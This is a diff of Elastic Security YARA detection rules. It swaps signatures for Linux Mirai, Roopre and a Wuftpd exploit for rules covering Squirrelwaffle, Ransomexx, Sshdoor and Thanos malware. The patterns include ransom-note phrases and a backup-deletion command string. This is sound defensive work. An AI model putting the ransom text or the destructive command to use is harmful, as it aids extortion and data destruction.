+rule ELASTIC_Windows_Trojan_Squirrelwaffle_D3B685A1 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Roopre (Linux.Trojan.Roopre)"
+		description = "Detects Windows Trojan Squirrelwaffle (Windows.Trojan.Squirrelwaffle)"
 		author = "Elastic Security"
-		id = "05f7f237-dcc5-4f0d-8baa-290137eea9c5"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "d3b685a1-2d1c-44a3-8d83-ff661d491a52"
+		date = "2021-09-21"
+		modified = "2022-01-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Roopre.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "36ae2bf773135fdb0ead7fbbd46f90fd41d6f973569de1941c8723158fc6cfcc"
-		logic_hash = "12e14ac31932033f2448b7a3bfd6ce826fff17494547ac4baefb20f6713baf5f"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Squirrelwaffle.yar#L24-L42"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "00d045c89934c776a70318a36655dcdd77e1fedae0d33c98e301723f323f234c"
+		logic_hash = "7d187aa75fc767f5009f3090852de4894776f4b3f99f189478e7e9fd9c3acbe7"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "2f1d7fd2d0104be63180003ae225eafa95f9d967154d3972782502742bbedf43"
+		fingerprint = "15df7efab9cc40ff57070d18ae67b549c55595d7cbf3ca02963336e4297156c4"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 01 3A 74 06 80 7F 02 5C 75 1F 48 83 C7 03 B2 5C EB E8 38 D1 48 8D }
+		$a1 = { 08 85 C0 75 0F 8D 45 94 50 8D 45 D0 6A 20 50 FF D7 83 C4 0C }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Exploit_Wuftpd_0991E62F : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Ransomexx_Fabff49C : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Wuftpd (Linux.Exploit.Wuftpd)"
+		description = "Detects Windows Ransomware Ransomexx (Windows.Ransomware.Ransomexx)"
 		author = "Elastic Security"
-		id = "0991e62f-af72-416a-b88b-6bc8a501b8bb"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "fabff49c-8e1a-4020-b081-2f432532e529"
+		date = "2021-08-07"
+		modified = "2021-10-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Wuftpd.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c0b6303300f38013840abe17abe192db6a99ace78c83bc7ef705f5c568bc98fd"
-		logic_hash = "71ad26a182c7f16e7e0ad7f7afe0dcf1d38fe953dc0806341d7e21ee4acea87d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Ransomexx.yar#L1-L22"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "480af18104198ad3db1518501ee58f9c4aecd19dbbf2c5dd7694d1d87e9aeac7"
+		logic_hash = "67d5123b706685ea5ab939aec31cb1549297778d91dd38b14e109945c52da71a"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "642c7b059fa604a0a5110372e2247da9625b07008b012fd498670a6dd1b29974"
+		fingerprint = "a7a1e6d5fafdddc7d4699710edf407653968ffd40747c50f26ef63a6cb623bbe"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { F3 8D 4E 08 8D 56 0C B0 0B CD 80 31 C0 31 DB }
+		$a1 = "ransom.exx" ascii fullword
+		$a2 = "Infrastructure rebuild will cost you MUCH more." wide fullword
+		$a3 = "Your files are securely ENCRYPTED." wide fullword
+		$a4 = "delete catalog -quiet" wide fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_268Aac0B : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Sshdoor_97F92Ff7 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Linux Trojan Sshdoor (Linux.Trojan.Sshdoor)"
 		author = "Elastic Security"
-		id = "268aac0b-c5c7-4035-8381-4e182de91e32"
+		id = "97f92ff7-b14f-4cdf-aef7-d1ca3e46ae48"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "49c94d184d7e387c3efe34ae6f021e011c3046ae631c9733ab0a230d5fe28ead"
-		logic_hash = "6eae3aba35d3379fa194b66a1b4e0d78d0d0b88386cd4ea5dfeb3c072642c7ba"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Sshdoor.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2e1d909e4a6ba843194f9912826728bd2639b0f34ee512e0c3c9e5ce4d27828e"
+		logic_hash = "a883c790fd7fdeb0ca6de5fcf4dd69a996b6d85db3179a8a28adbbbc1dc01bc6"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "9c581721bf82af7dc6482a2c41af5fb3404e01c82545c7b2b29230f707014781"
+		fingerprint = "4ad5b6b259655bf1bf58d662cf3daf3fec6ba61fcff36e24e8d239e99a8bd36f"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -68334,28 +72420,28 @@ rule ELASTIC_Linux_Trojan_Mirai_268Aac0B : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 24 18 0F B7 44 24 20 8B 54 24 1C 83 F9 01 8B 7E 0C 89 04 24 8B }
+		$a = { C0 75 C3 48 8B 44 24 08 64 48 33 04 25 28 00 00 00 75 07 48 83 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_D5F2Abe2 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Sshdoor_5B78Aa01 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Linux Trojan Sshdoor (Linux.Trojan.Sshdoor)"
 		author = "Elastic Security"
-		id = "d5f2abe2-511f-474d-9292-39060bbf6feb"
+		id = "5b78aa01-c5d4-4281-9a2e-e3f0d3df31d3"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c490586fbf90d360cf3b2f9e2dc943809441df3dfd64dadad27fc9f5ee96ec74"
-		logic_hash = "169e7e5d1a7ea8c219464e22df9be8bc8caa2e78e1bc725674c8e0b14f6b9fc5"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Sshdoor.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2e1d909e4a6ba843194f9912826728bd2639b0f34ee512e0c3c9e5ce4d27828e"
+		logic_hash = "bcf285ac220b2b2ed9caf0943fa22ee830e5b26501c54a223e483a33e2fc63c0"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "475a1c92c0a938196a5a4bca708b338a62119a2adf36cabf7bc99893fee49f2a"
+		fingerprint = "19369c825bc8052bfc234a457ee4029cf48bf3b5b9a008a1a6c2680b97ae6284"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -68363,27 +72449,28 @@ rule ELASTIC_Linux_Trojan_Mirai_D5F2Abe2 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 41 56 41 89 FE 40 0F B6 FF 41 55 49 89 F5 BE 08 00 00 00 41 54 41 }
+		$a = { 11 75 39 41 0F B6 77 01 4C 89 E2 40 84 F6 74 2C 40 80 FE 5A }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_1Cb033F3 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Sshdoor_1B443A9B : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Linux Trojan Sshdoor (Linux.Trojan.Sshdoor)"
 		author = "Elastic Security"
-		id = "1cb033f3-68c1-4fe5-9cd1-b5d066c1d86e"
+		id = "1b443a9b-2bd2-4b63-baaa-d66ca43ba521"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L41-L58"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "ebaf45ce58124aa91b07ebb48779e6da73baa0b80b13e663c13d8fb2bb47ad0d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Sshdoor.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a33112daa5a7d31ea1a1ca9b910475843b7d8c84d4658ccc00bafee044382709"
+		logic_hash = "4afcd7103a14d59abc08d9e03182a985e3d0250c09aad5e81fd110c6a95f29e0"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "49201ab37ff0b5cdfa9b0b34b6faa170bd25f04df51c24b0b558b7534fecc358"
+		fingerprint = "ff44d7b3c8db5cd0d12a99c2aafb1831f63c6253fe0e63fb7d2503bc74e6fca9"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -68391,28 +72478,28 @@ rule ELASTIC_Linux_Trojan_Mirai_1Cb033F3 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { C3 EB 06 8A 46 FF 88 47 FF FF CA 48 FF C7 48 FF C6 83 FA FF }
+		$a = { 24 10 44 39 F8 7F B4 3B 44 24 04 7C AE 3B 44 24 0C 7E 10 41 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_Fa3Ad9D0 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Sshdoor_7C36D3Dd : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Linux Trojan Sshdoor (Linux.Trojan.Sshdoor)"
 		author = "Elastic Security"
-		id = "fa3ad9d0-7c55-4621-90fc-6b154c44a67b"
+		id = "7c36d3dd-734f-4485-85c5-906c5ecade77"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L60-L78"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6"
-		logic_hash = "5890c85872ea4508e673235b20b481972f613f6e5f9564c0237c458995532347"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Sshdoor.yar#L61-L79"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "def4de838d58c70f9f0ae026cdad3bf09b711a55af97ed20804fa1e34e7b59e9"
+		logic_hash = "c1b61fce7593a44e47043fac8a6356f9aa9e74b66db005400684a5a79b69a5cd"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "fe93a3552b72b107f95cc5a7e59da64fe84d31df833bf36c81d8f31d8d79d7ca"
+		fingerprint = "a644708905c97c784f394ebbd0020dd3b20b52b4f536c844ca860dabea36ceb7"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -68420,28 +72507,28 @@ rule ELASTIC_Linux_Trojan_Mirai_Fa3Ad9D0 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { CB 08 C1 CB 10 66 C1 CB 08 31 C9 8A 4F 14 D3 E8 01 D8 66 C1 }
+		$a = { 24 20 48 89 E7 C1 EE 03 83 E6 01 FF D3 8B 54 24 20 31 C0 BE 20 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_0Cb1699C : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Sshdoor_3E81B1B7 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Linux Trojan Sshdoor (Linux.Trojan.Sshdoor)"
 		author = "Elastic Security"
-		id = "0cb1699c-9a08-4885-aa7f-0f1ee2543cac"
+		id = "3e81b1b7-71bd-4876-a616-ca49ce73c2da"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L80-L98"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb"
-		logic_hash = "97307f583240290de2bfc663b99f8dcdedace92885bd3e0c0340709b94c0bc2a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Sshdoor.yar#L81-L99"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "def4de838d58c70f9f0ae026cdad3bf09b711a55af97ed20804fa1e34e7b59e9"
+		logic_hash = "54253df560e6552a728dc2651c557bc23ae8ec4847760290701438821c52342e"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "6e44c68bba8c9fb53ac85080b9ad765579f027cabfea5055a0bb3a85b8671089"
+		fingerprint = "7849bb7283adb25c2ee492efd8d9b2c63de7ae701a69e1892cdc25175996b227"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -68449,28 +72536,28 @@ rule ELASTIC_Linux_Trojan_Mirai_0Cb1699C : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 10 0F B7 02 83 E9 02 83 }
+		$a = { 24 24 48 89 E7 C1 EE 05 83 E6 01 FF D3 8B 54 24 28 31 C0 BE 5A 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_6F021787 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Sshdoor_Cde7Cfd4 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Linux Trojan Sshdoor (Linux.Trojan.Sshdoor)"
 		author = "Elastic Security"
-		id = "6f021787-9c2d-4536-bd90-5230c85a8718"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "cde7cfd4-a664-481d-8865-d44332c7f243"
+		date = "2022-01-05"
+		modified = "2022-01-26"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L100-L118"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "88183d71359c16d91a3252085ad5a270ad3e196fe431e3019b0810ecfd85ae10"
-		logic_hash = "7e8062682a0babbaa3c00975807ba9fc34c465afde55e4144944e7598f0ea1fd"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Sshdoor.yar#L101-L119"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "cd646a1d59c99b9e038098b91cdb63c3fe9b35bb10583bef0ab07260dbd4d23d"
+		logic_hash = "47967d90a6dbb4461e22998aff5b7e68b4b9007ea7e5e30574ae1f1cfcbaa573"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "33ba39b77e55b1a2624e7846e06b2a820de9a8a581a7eec57e35b3a1636b8b0d"
+		fingerprint = "65bf31705755b19b1c01bd2bcc00525469c8cd35eaeff51d546a1d0667d8a615"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -68478,28 +72565,28 @@ rule ELASTIC_Linux_Trojan_Mirai_6F021787 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 55 D4 66 89 14 01 0F B6 45 D0 48 63 D0 48 89 D0 48 01 C0 48 }
+		$a = { 75 CC 8B 73 08 48 8B 54 24 08 48 83 C4 18 5B 5D 41 5C 41 5D 4C }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_1E0C5Ce0 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Sshdoor_32D9Fb1B : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Linux Trojan Sshdoor (Linux.Trojan.Sshdoor)"
 		author = "Elastic Security"
-		id = "1e0c5ce0-3b76-4da4-8bed-2e5036b6ce79"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "32d9fb1b-79d7-4bd1-bbe5-345550591367"
+		date = "2022-09-12"
+		modified = "2022-10-18"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L120-L138"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "5b1f95840caebf9721bf318126be27085ec08cf7881ec64a884211a934351c2d"
-		logic_hash = "591cc3ef6932bf990f56c932866b34778e8eccd0e343f9bd6126eb8205a12ecc"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Sshdoor.yar#L121-L139"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ee1f6dbea40d198e437e8c2ae81193472c89e41d1998bee071867dab1ce16b90"
+		logic_hash = "35ef4f3970484a46d705e6976a9932639d576717454b8e07ed24a72114d9c42d"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "8e45538b59f9c9b8bc49661069044900c8199e487714c715c1b1f970fd528e3b"
+		fingerprint = "fa28250df6960ee54de7b0bacb437b543615a241267e34b5a422f231f5088f10"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -68507,28 +72594,28 @@ rule ELASTIC_Linux_Trojan_Mirai_1E0C5Ce0 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 4C 24 54 31 F6 41 B8 04 00 00 00 BA 03 00 00 00 C7 44 24 54 01 00 }
+		$a = { 8B 04 25 28 00 00 00 48 89 44 24 08 31 C0 66 0F EF C0 48 85 F6 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_22965A6D : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Sshdoor_7C3Cfc62 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Detects Linux Trojan Sshdoor (Linux.Trojan.Sshdoor)"
 		author = "Elastic Security"
-		id = "22965a6d-85d3-4f7c-be4a-581044581b77"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "7c3cfc62-aa90-4c28-b428-e2133a3f10f8"
+		date = "2022-09-12"
+		modified = "2022-10-18"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L140-L158"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "09c821aa8977f67878f8769f717c792d69436a951bb5ac06ce5052f46da80a48"
-		logic_hash = "6b2a46694edf709d28267268252cfe95d88049b7dca854059cfe44479ada7423"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Sshdoor.yar#L141-L159"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ee1f6dbea40d198e437e8c2ae81193472c89e41d1998bee071867dab1ce16b90"
+		logic_hash = "da9804489f30b575d2b459f82570f5df07c1777f105cd373c4268f8a31fa4e43"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "a34bcba23cde4a2a49ef8192fa2283ce03c75b2d1d08f1fea477932d4b9f5135"
+		fingerprint = "8085c47704b4d6cabad9d1dd48034dc224f725ba22a7872db50c709108bf575d"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -68536,114 +72623,130 @@ rule ELASTIC_Linux_Trojan_Mirai_22965A6D : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { E6 4A 64 2B E4 82 D1 E3 F6 5E 88 34 DA 36 30 CE 4E 83 EC F1 }
+		$a = { 55 48 8D 6F 50 53 49 89 FC 48 89 FB 48 83 EC 10 64 48 8B 04 25 28 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mirai_4032Ade1 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Thanos_C3522Fd0 : BETA FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Identifies THANOS (Hakbit) ransomware"
 		author = "Elastic Security"
-		id = "4032ade1-4864-4637-ae73-867cd5fb7378"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L160-L178"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "6150fbbefb916583a0e888dee8ed3df8ec197ba7c04f89fb24f31de50226e688"
-		logic_hash = "9c5e24c4efd4035408897f638d3579c3798139fd18178cee4a944b49c13e1532"
+		id = "c3522fd0-90e2-4dd9-82f1-4502689270dd"
+		date = "2020-11-03"
+		modified = "2021-08-23"
+		reference = "https://labs.sentinelone.com/thanos-ransomware-riplace-bootlocker-and-more-added-to-feature-set/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Thanos.yar#L1-L22"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "00d28aafd242308ad6561547ed8c80dad3086859dacab09ffdd43d436bf9ec52"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "2b150a6571f5a2475d0b4a2ddb75623d6fa1c861f5385a5c42af24db77573480"
+		tags = "BETA, FILE, MEMORY"
+		fingerprint = "6d9d6131fd0e3a8585900f4966cb2d1b32e7f5d71b9a65b7a47d80e94bd9f89a"
+		threat_name = "Windows.Ransomware.Thanos"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { F8 0C 67 56 55 4C 06 87 DE B2 C0 79 AE 88 73 79 0C 7E F8 87 }
+		$c1 = { 0C 89 45 F0 83 65 EC 00 EB 07 8B 45 EC 40 89 45 EC 83 7D EC 18 }
+		$c2 = { E8 C1 E0 04 8B 4D FC C6 44 01 09 00 8B 45 E8 C1 E0 04 8B 4D FC 83 64 01 }
+		$c3 = { 00 2F 00 18 46 00 54 00 50 00 20 00 55 00 73 00 65 00 72 00 4E 00 }
 
 	condition:
-		all of them
+		2 of ($c*)
 }
-rule ELASTIC_Linux_Trojan_Mirai_B14F4C5D : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Thanos_A6C09942 : BETA FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		description = "Identifies THANOS (Hakbit) ransomware"
 		author = "Elastic Security"
-		id = "b14f4c5d-054f-46e6-9fa8-3588f1ef68b7"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mirai.yar#L180-L197"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "1a2114a7b397c850d732940a0e154bc04fbee1fdc12d343947b343b9b27a8af1"
+		id = "a6c09942-0733-40d7-87b7-eb44dd472a35"
+		date = "2020-11-03"
+		modified = "2021-08-23"
+		reference = "https://labs.sentinelone.com/thanos-ransomware-riplace-bootlocker-and-more-added-to-feature-set/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Thanos.yar#L24-L44"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "cecdeb21e041c90769b8fd8431fa87943461c1f7faa5ad15918524b91ba5c792"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817"
+		tags = "BETA, FILE, MEMORY"
+		fingerprint = "4abcf47243bebc281566ba4929b20950e3f1bfac8976ae5bc6b8ffda85468ec0"
+		threat_name = "Windows.Ransomware.Thanos"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3 }
